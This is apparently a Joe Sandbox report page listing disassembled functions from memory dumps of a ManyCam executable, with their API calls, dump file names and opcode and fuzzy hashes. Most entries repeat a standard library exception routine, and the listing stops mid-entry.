vector<T> too long, xrefs: 004128B5

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: D@2@@std@@D@std@@U?$char_traits@V?$allocator@$??0?$basic_string@??1?$basic_string@ExceptionThrowstd::bad_exception::bad_exception
String ID: vector<T> too long
API String ID: 3248949544-3788999226
Opcode ID: c780cc5cd66b70a61fb923b6734da329fed68386e0d1462283d30a24de8a1d3f
Instruction ID: 4f722f1132bf029aa43680a0f31b4d6b59234f2f3b0eea29470ee80f38ab1d71
Opcode Fuzzy Hash: c780cc5cd66b70a61fb923b6734da329fed68386e0d1462283d30a24de8a1d3f
Instruction Fuzzy Hash: B3F08CB1904248EBCB14DF90ED41B9DBB78FB04720F40022AB812A32C0EB756A08CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004D4940 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(vector<T> too long,74C45DB3,?,?,?,?,?,?,?,00000000,00535729,000000FF,?,004D3CB6,00000000,74C45DB3), ref: 004D496D
std::bad_exception::bad_exception.LIBCMTD ref: 004D4981
_CxxThrowException.MSVCR80(?,0057CBF8), ref: 004D498F
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ.MSVCP80(?,0057CBF8,?,?,?,?,?,?,?,?,00000000,00535729,000000FF,?,004D3CB6,00000000), ref: 004D499E

Strings

vector<T> too long, xrefs: 004D4965

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: D@2@@std@@D@std@@U?$char_traits@V?$allocator@$??0?$basic_string@??1?$basic_string@ExceptionThrowstd::bad_exception::bad_exception
String ID: vector<T> too long
API String ID: 3248949544-3788999226
Opcode ID: f5e9ddf57e258ff8f81d687b94cbb6babb7938dca145e5172867018050d52fb0
Instruction ID: 2198fcef12488e2d17d3691da39b82749544227340ee56d3737a145847e009f6
Opcode Fuzzy Hash: f5e9ddf57e258ff8f81d687b94cbb6babb7938dca145e5172867018050d52fb0
Instruction Fuzzy Hash: 21F0A9B1904648EBCB14DFA0ED41FDDBB78FB04720F40022AF822A32C0EB756A08CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0048EBA0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(vector<T> too long,74C45DB3,?,?,?,?,?,?,?,00000000,00531039,000000FF,?,0048BAC3,?), ref: 0048EBCD
std::bad_exception::bad_exception.LIBCMTD ref: 0048EBE1
_CxxThrowException.MSVCR80(?,0057CBF8), ref: 0048EBEF
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ.MSVCP80(?,0057CBF8,?,?,?,?,?,?,?,?,00000000,00531039,000000FF,?,0048BAC3,?), ref: 0048EBFE

Strings

vector<T> too long, xrefs: 0048EBC5

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: D@2@@std@@D@std@@U?$char_traits@V?$allocator@$??0?$basic_string@??1?$basic_string@ExceptionThrowstd::bad_exception::bad_exception
String ID: vector<T> too long
API String ID: 3248949544-3788999226
Opcode ID: 1ea01a54b671203e94099090e90c6f810493855dc45a6ce695e3d5e9399e45a7
Instruction ID: 92daabea73afc4e90302cbcf7baf13e44f6b9f868eface51cfc7e975ed78bb7a
Opcode Fuzzy Hash: 1ea01a54b671203e94099090e90c6f810493855dc45a6ce695e3d5e9399e45a7
Instruction Fuzzy Hash: 95F03CB1944648EBCB14DFA4ED45B9DBB78FB14720F50426AE812A32D0DB756A08CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0044ED50 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(vector<T> too long,74C45DB3,?,?,?,?,?,?,?,00000000,0052CF99,000000FF,?,0044CB83,00000000), ref: 0044ED7D
std::bad_exception::bad_exception.LIBCMTD ref: 0044ED91
_CxxThrowException.MSVCR80(?,0057CBF8), ref: 0044ED9F
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ.MSVCP80(?,0057CBF8,?,?,?,?,?,?,?,?,00000000,0052CF99,000000FF,?,0044CB83,00000000), ref: 0044EDAE

Strings

vector<T> too long, xrefs: 0044ED75

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: D@2@@std@@D@std@@U?$char_traits@V?$allocator@$??0?$basic_string@??1?$basic_string@ExceptionThrowstd::bad_exception::bad_exception
String ID: vector<T> too long
API String ID: 3248949544-3788999226
Opcode ID: 5b8e1bbaaa4858481c8b052d95aae316f4802631e30b8cefb630b981b18aab31
Instruction ID: f5a7866f547bb55f07dc25e2db114e65ea79899798aec203e725cd6f1ff4eb0e
Opcode Fuzzy Hash: 5b8e1bbaaa4858481c8b052d95aae316f4802631e30b8cefb630b981b18aab31
Instruction Fuzzy Hash: E2F0AFB1904248EBCB14DF90ED41FDDBB78FB04720F40022AF812A32C0EB756A08CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00430D10 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(vector<T> too long,74C45DB3,?,?,?,?,?,?,?,00000000,0052A699,000000FF,?,004301A3,00000000), ref: 00430D3D
std::bad_exception::bad_exception.LIBCMTD ref: 00430D51
_CxxThrowException.MSVCR80(?,0057CBF8), ref: 00430D5F
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ.MSVCP80(?,0057CBF8,?,?,?,?,?,?,?,?,00000000,0052A699,000000FF,?,004301A3,00000000), ref: 00430D6E

Strings

vector<T> too long, xrefs: 00430D35

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: D@2@@std@@D@std@@U?$char_traits@V?$allocator@$??0?$basic_string@??1?$basic_string@ExceptionThrowstd::bad_exception::bad_exception
String ID: vector<T> too long
API String ID: 3248949544-3788999226
Opcode ID: 4e7c7e61b8e4b61418f89952c155b68a96c666f8f64ae422fdef5ea6b294711e
Instruction ID: 2c432eddfbe67746ec497c333af96acf5ab7e20aac0011f52034aeffc7690669
Opcode Fuzzy Hash: 4e7c7e61b8e4b61418f89952c155b68a96c666f8f64ae422fdef5ea6b294711e
Instruction Fuzzy Hash: 43F0A9B1904248EBCB14DFA0ED41FDDBB78FB04720F40022AF822A32D0EB756A08CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0049EEA0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(vector<T> too long,74C45DB3,?,?,?,?,?,?,?,00000000,00531FD9,000000FF,?,0049E8F3,?), ref: 0049EECD
std::bad_exception::bad_exception.LIBCMTD ref: 0049EEE1
_CxxThrowException.MSVCR80(?,0057CBF8), ref: 0049EEEF
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ.MSVCP80(?,0057CBF8,?,?,?,?,?,?,?,?,00000000,00531FD9,000000FF,?,0049E8F3,?), ref: 0049EEFE

Strings

vector<T> too long, xrefs: 0049EEC5

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: D@2@@std@@D@std@@U?$char_traits@V?$allocator@$??0?$basic_string@??1?$basic_string@ExceptionThrowstd::bad_exception::bad_exception
String ID: vector<T> too long
API String ID: 3248949544-3788999226
Opcode ID: 164d6ffe732d9fa8baa0de175643794e8cd3c3d995353351aea268910f753e13
Instruction ID: 9df2125c4ef5457798524062e3a11b60d2f3a7f222f2b8b9a439bf1f8e3d57c1
Opcode Fuzzy Hash: 164d6ffe732d9fa8baa0de175643794e8cd3c3d995353351aea268910f753e13
Instruction Fuzzy Hash: 0DF03CB1944648EBCB14DFA4ED45B9DBB78FB14720F50426AB812A32D0DB756A08CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0048F010 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(vector<T> too long,74C45DB3,?,?,?,?,?,?,?,00000000,00531089,000000FF,?,0048BDE3,?), ref: 0048F03D
std::bad_exception::bad_exception.LIBCMTD ref: 0048F051
_CxxThrowException.MSVCR80(?,0057CBF8), ref: 0048F05F
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ.MSVCP80(?,0057CBF8,?,?,?,?,?,?,?,?,00000000,00531089,000000FF,?,0048BDE3,?), ref: 0048F06E

Strings

vector<T> too long, xrefs: 0048F035

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: D@2@@std@@D@std@@U?$char_traits@V?$allocator@$??0?$basic_string@??1?$basic_string@ExceptionThrowstd::bad_exception::bad_exception
String ID: vector<T> too long
API String ID: 3248949544-3788999226
Opcode ID: 71dadd736df40f3aec662dc85990cd5a9acc2abe6039822e8930e788f3d2d61d
Instruction ID: 682a0ac2237076830f2f8a4780188971040c04754dbc9da0d02d05fab003b1b6
Opcode Fuzzy Hash: 71dadd736df40f3aec662dc85990cd5a9acc2abe6039822e8930e788f3d2d61d
Instruction Fuzzy Hash: EAF04FB1944648EBCB14DFA4ED45FDDBB78FB14720F50426AF812A32D0DB756A08CB54

Uniqueness

Uniqueness Score: -1.00%

Function 005154A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(vector<T> too long,74C45DB3,?,?,?,?,?,?,?,00000000,00539FA9,000000FF,?,00514D33,00000000), ref: 005154CD
std::bad_exception::bad_exception.LIBCMTD ref: 005154E1
_CxxThrowException.MSVCR80(?,0057CBF8), ref: 005154EF
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ.MSVCP80(?,0057CBF8,?,?,?,?,?,?,?,?,00000000,00539FA9,000000FF,?,00514D33,00000000), ref: 005154FE

Strings

vector<T> too long, xrefs: 005154C5

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: D@2@@std@@D@std@@U?$char_traits@V?$allocator@$??0?$basic_string@??1?$basic_string@ExceptionThrowstd::bad_exception::bad_exception
String ID: vector<T> too long
API String ID: 3248949544-3788999226
Opcode ID: 21906fa773c1a88a46cbeca3caa33a554fe8bf6e2e2ae55b577b5ad68c6107b2
Instruction ID: 3b973596a2f941747c7d90d8fc74631754525317a6dec37d5ee4e5a0a6c799d4
Opcode Fuzzy Hash: 21906fa773c1a88a46cbeca3caa33a554fe8bf6e2e2ae55b577b5ad68c6107b2
Instruction Fuzzy Hash: 5EF0AFB1904248EBCB14DF90ED41FDDBB78FB04720F40022AF812A32C0DB756A08CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0048F5A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(vector<T> too long,74C45DB3,?,?,?,?,?,?,?,00000000,005310F9,000000FF,?,0048C0E3,?), ref: 0048F5CD
std::bad_exception::bad_exception.LIBCMTD ref: 0048F5E1
_CxxThrowException.MSVCR80(?,0057CBF8), ref: 0048F5EF
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ.MSVCP80(?,0057CBF8,?,?,?,?,?,?,?,?,00000000,005310F9,000000FF,?,0048C0E3,?), ref: 0048F5FE

Strings

vector<T> too long, xrefs: 0048F5C5

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: D@2@@std@@D@std@@U?$char_traits@V?$allocator@$??0?$basic_string@??1?$basic_string@ExceptionThrowstd::bad_exception::bad_exception
String ID: vector<T> too long
API String ID: 3248949544-3788999226
Opcode ID: 2e5544c3049f0ddd4019a116dffb44736a158589b34b35f21578acc8ae9f3b44
Instruction ID: 08e9fbeb3975674469a3edd29ebdb77383574d31636ade62e638ab3924d92cf8
Opcode Fuzzy Hash: 2e5544c3049f0ddd4019a116dffb44736a158589b34b35f21578acc8ae9f3b44
Instruction Fuzzy Hash: 3DF0AFB1944648EBCB14DFA4ED45FDDBB78FB04720F40022AF812A32C0DB756A08CB54

Uniqueness

Uniqueness Score: -1.00%

Function 005158F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(vector<T> too long,74C45DB3,?,?,?,?,?,?,?,00000000,00539FF9,000000FF,?,00515013,00000000), ref: 0051591D
std::bad_exception::bad_exception.LIBCMTD ref: 00515931
_CxxThrowException.MSVCR80(?,0057CBF8), ref: 0051593F
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ.MSVCP80(?,0057CBF8,?,?,?,?,?,?,?,?,00000000,00539FF9,000000FF,?,00515013,00000000), ref: 0051594E

Strings

vector<T> too long, xrefs: 00515915

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: D@2@@std@@D@std@@U?$char_traits@V?$allocator@$??0?$basic_string@??1?$basic_string@ExceptionThrowstd::bad_exception::bad_exception
String ID: vector<T> too long
API String ID: 3248949544-3788999226
Opcode ID: c03e804887ee8c35b5c9129f015bd810eaabdc85a554e80187cf2ad872c0fd71
Instruction ID: 51a0fa11ac444c003223335a96b02d8df365eee37e9292b937eae9cfb1e93a6e
Opcode Fuzzy Hash: c03e804887ee8c35b5c9129f015bd810eaabdc85a554e80187cf2ad872c0fd71
Instruction Fuzzy Hash: ABF0A9B1944248EBCB14DFA4ED41FDDBB78FB04720F40022AF822A32C0EB756A08CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0176A293 Relevance: 7.8, APIs: 5, Instructions: 263COMMON

Download Yara Rule

APIs

_CIsqrt.MSVCR80 ref: 0176A505
_CIsqrt.MSVCR80 ref: 0176A54B
_CIsqrt.MSVCR80 ref: 0176A58B
_CIsqrt.MSVCR80 ref: 0176A5C7
_CIsqrt.MSVCR80 ref: 0176A5DD

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Isqrt
String ID:
API String ID: 4112084577-0
Opcode ID: d638e2d0ba4faa6274f6db52e823a4e82c88a8f97a8f213815856bcde8cc8016
Instruction ID: c8cf5dabfd6835b9aaf9ba432ff36d58f250f2fdfb9fad467371fc52a9a56fa9
Opcode Fuzzy Hash: d638e2d0ba4faa6274f6db52e823a4e82c88a8f97a8f213815856bcde8cc8016
Instruction Fuzzy Hash: A7B147B1E087419BC365DF5AD14029AFBF0FFC4360F218D2EE9C5A2222E77589558F82

Uniqueness

Uniqueness Score: -1.00%

Function 0172C510 Relevance: 7.7, APIs: 5, Instructions: 216COMMON

Download Yara Rule

APIs

cvStartReadSeq.CXCORE099(?,?,00000000,00000000,?), ref: 0172C578
cvStartAppendToSeq.CXCORE099(?,?,?,?,00000000,00000000,?), ref: 0172C583
cvChangeSeqBlock.CXCORE099(?,00000001,?,?,?,?,?,00000000,?), ref: 0172C5D3

Part of subcall function 0172ADD0: cvClipLine.CXCORE099(?,?,?,?,?,?), ref: 0172AE5F

cvCreateSeqBlock.CXCORE099(?,?,?,?,?,?,?,?,00000000,?), ref: 0172C791
cvEndWriteSeq.CXCORE099(?,?,?,?,00000000,?), ref: 0172C7EE

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: BlockStart$AppendChangeClipCreateLineReadWrite
String ID:
API String ID: 1921861369-0
Opcode ID: 4b641c033aaaa1a68e32d08cf7c1009dbb4aa96822469da1a3d2be8bfc2773b4
Instruction ID: a9a3691e6d0d06ef0c8aff41db6d2c228711b3371dbf5c2ef6e0237f9c6e16d0
Opcode Fuzzy Hash: 4b641c033aaaa1a68e32d08cf7c1009dbb4aa96822469da1a3d2be8bfc2773b4
Instruction Fuzzy Hash: 99912075A087508FD324CF08D580A6AFBF5BFD9710F40892DE9DA83345D771A826CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0050D790 Relevance: 7.7, APIs: 6, Instructions: 164COMMON

Download Yara Rule

APIs

wcscpy.MSVCR80 ref: 0050D83B
wcscat.MSVCR80 ref: 0050D850

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: wcscatwcscpy
String ID:
API String ID: 1670345547-0
Opcode ID: e2b6f5d47b797e7b3fc719e1e1982e1acc003f1d96efd1ad022790a38e43f0aa
Instruction ID: 3389ee2cf22810ea72753d2d0cc2d0bc4eb9618de903a8545642f9e6fbc98239
Opcode Fuzzy Hash: e2b6f5d47b797e7b3fc719e1e1982e1acc003f1d96efd1ad022790a38e43f0aa
Instruction Fuzzy Hash: BF714EB5A0010ADFCB14CF54D984AAEBBB5FF85310F148998E90AAB381D770EE44CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00506EF0 Relevance: 7.6, APIs: 5, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

_DebugHeapAllocator.LIBCPMTD ref: 00506F28

Part of subcall function 0040EA00: _DebugHeapAllocator.LIBCPMTD ref: 0040EA0E

??2@YAPAXI@Z.MSVCR80 ref: 00506F2F
codecvt.LIBCPMTD ref: 00506F9F
wcstol.MSVCR80 ref: 00506FEE
codecvt.LIBCPMTD ref: 00507011

Part of subcall function 00415BF0: ??3@YAXPAX@Z.MSVCR80 ref: 00415C0B

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeapcodecvt$??2@??3@wcstol
String ID:
API String ID: 74129304-0
Opcode ID: f820b669af4b91f01ff1afac2cb9a1d8ae762e6116985bebba3912421fffcbed
Instruction ID: 6d66b3f1b8e0294eece4e25a7ed8cbe839a85e6d975fee0ec5976f71f30e8fe7
Opcode Fuzzy Hash: f820b669af4b91f01ff1afac2cb9a1d8ae762e6116985bebba3912421fffcbed
Instruction Fuzzy Hash: 7E4103B0D05209EFDB14DF94D895BEEBBB0BB48314F20852AE416AB2C0DB756A45CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0046C100 Relevance: 7.6, APIs: 5, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000,00569E8C), ref: 0046C121
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,00000000,00000000,00000000,00000080,00000000,0000007C,00000080), ref: 0046C16B
